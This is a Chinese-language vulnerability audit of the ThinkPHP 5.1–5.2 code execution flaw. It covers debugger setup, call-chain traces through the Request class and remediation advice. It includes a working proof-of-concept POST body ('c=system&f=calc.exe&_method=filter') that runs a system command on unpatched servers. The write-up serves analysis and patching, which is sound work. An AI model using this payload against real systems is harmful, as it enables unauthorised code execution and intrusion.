Thinkphp5.1 ~ 5.2 全版本程式碼執行漏洞程式碼審計
0x01 簡介
ThinkPHP是一個快速、簡單的基於 MVC 和麵向物件的輕量級 PHP 開發框架,遵循 Apache2 開源協議釋出,一直秉承簡潔實用的設計原則,在保持出色的效能和至簡的程式碼的同時,尤其注重開發體驗和易用性,為 WEB 應用和 API 開發提供了強有力的支援。
之前放出來這個Thinkphp5.1~5.2全版本程式碼執行漏洞,這個漏洞在5.0.*部分版本中也適用。漏洞執行流程分為兩個階段,第一階段為利用變數覆蓋漏洞,第二階段利用程式碼執行觸發漏洞。
0x02 環境配置
需要的應用和環境:
1、Windows 10
2、phpStudy
3、phpStorm
4、XDebug
5、火狐瀏覽器
6、火狐瀏覽器外掛-XDebug-ext
7、ThinkPHP 5.1.30
首先需要將phpStudy和phpStorm安裝,安裝成功後,phpStudy如圖1所示,phpStorm如圖2所示,請注意需要使用PHP5.6以上版本,不然執行ThinkPHP 5.1.30會報錯。
圖 1
圖 2
XDebug 配置需要編輯php.ini,將配置替換如下,路徑需要按照實際情況修改,訪問PHPINFO,如果存在XDebug資訊說明配置成功。如圖3所示。
[XDebug] xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug" xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug" zend_extension="D:\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll" xdebug.remote_enable=1 //是否允許遠端終端 這裡標示開啟 xdebug.profiler_enable_trigger=0 xdebug.remote_handler=dbgp xdebug.remote_mode=req xdebug.remote_host=localhost xdebug.remote_port=9000 xdebug.idekey=PHPSTORM
圖 3
然後需要配置phpStorm,選擇File=>Settings=>php,選擇好需要的PHP版本,如圖4所示
圖 4
選擇File=>Settings=>Debug,配置好埠,埠需要和之前的配置檔案對應,如圖5所示。
圖 5
選擇File=>Settings=>Servers,配置如圖6所示,Name需要和xdebug.idekey對應一致。
圖 6
接下來配置火狐瀏覽器,火狐瀏覽器用的版本如圖7所示。
圖 7
需要安裝XDebug-ext,配置如圖8所示。
圖 8
最後將ThinkPHP 5.1.30的環境,拷貝到WWW目錄中,如圖9所示,配置完成。
圖 9
0x03 程式碼審計
在火狐瀏覽器中使用POC,通過phpStrom跟蹤執行流程。
POC如下:
(post)public/index.php (data)c=system&f=calc.exe&_method=filter
找到變數覆漏洞,變數覆蓋漏洞導致能控制$this->{$method},呼叫鏈如下:
Request.php:814, think\Request->method() RuleGroup.php:151, think\route\RuleGroup->check() Domain.php:76, think\route\Domain->check() Route.php:885, think\Route->check() App.php:604, think\App->routeCheck() App.php:402, think\App->run() index.php:21, {main}()
程式碼位置:thinkphp/library/think/Request.php 814行。如圖10所示。
圖10
找到變數覆蓋漏洞觸發後,執行流程會逐步返回App.php:435, think\App->run(),找到Middleware.php:130, think\Middleware->dispatch()跟著流程審計會找到執行call_user_func(“system”,”calc.exe”),呼叫鏈如下:
Request.php:1455, think\Request->filterValue() Request.php:1370, array_walk_recursive() Request.php:1370, think\Request->input() Request.php:956, think\Request->param() Module.php:121, think\route\dispatch\Module->think\route\dispatch\{closure}() Middleware.php:185, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:185}() Middleware.php:185, think\Middleware->think\{closure}() Middleware.php:130, call_user_func:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:130}() Middleware.php:130, think\Middleware->dispatch() Module.php:140, think\route\dispatch\Module->exec() Dispatch.php:168, think\route\Dispatch->run() App.php:432, think\App->think\{closure}() Middleware.php:185, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:185}() Middleware.php:185, think\Middleware->think\{closure}() Middleware.php:130, call_user_func:{D:\phpStudy\PHPTutorial\WWW\thinkphp_5.1.30\thinkphp\library\think\Middleware.php:130}() Middleware.php:130, think\Middleware->dispatch() App.php:435, think\App->run() index.php:21, {main}()
程式碼位置:thinkphp/library/think/Request.php 1455行,如圖11所示。
圖 11
通過放出的POC進行復現,漏洞復現結果,如圖12所示。
圖12
0x04 修復建議
1.利用Composer 或官網更新至最新版本。
2.如果不能及時更新,建議參考最新版本的Request類的method方法進行手工修復。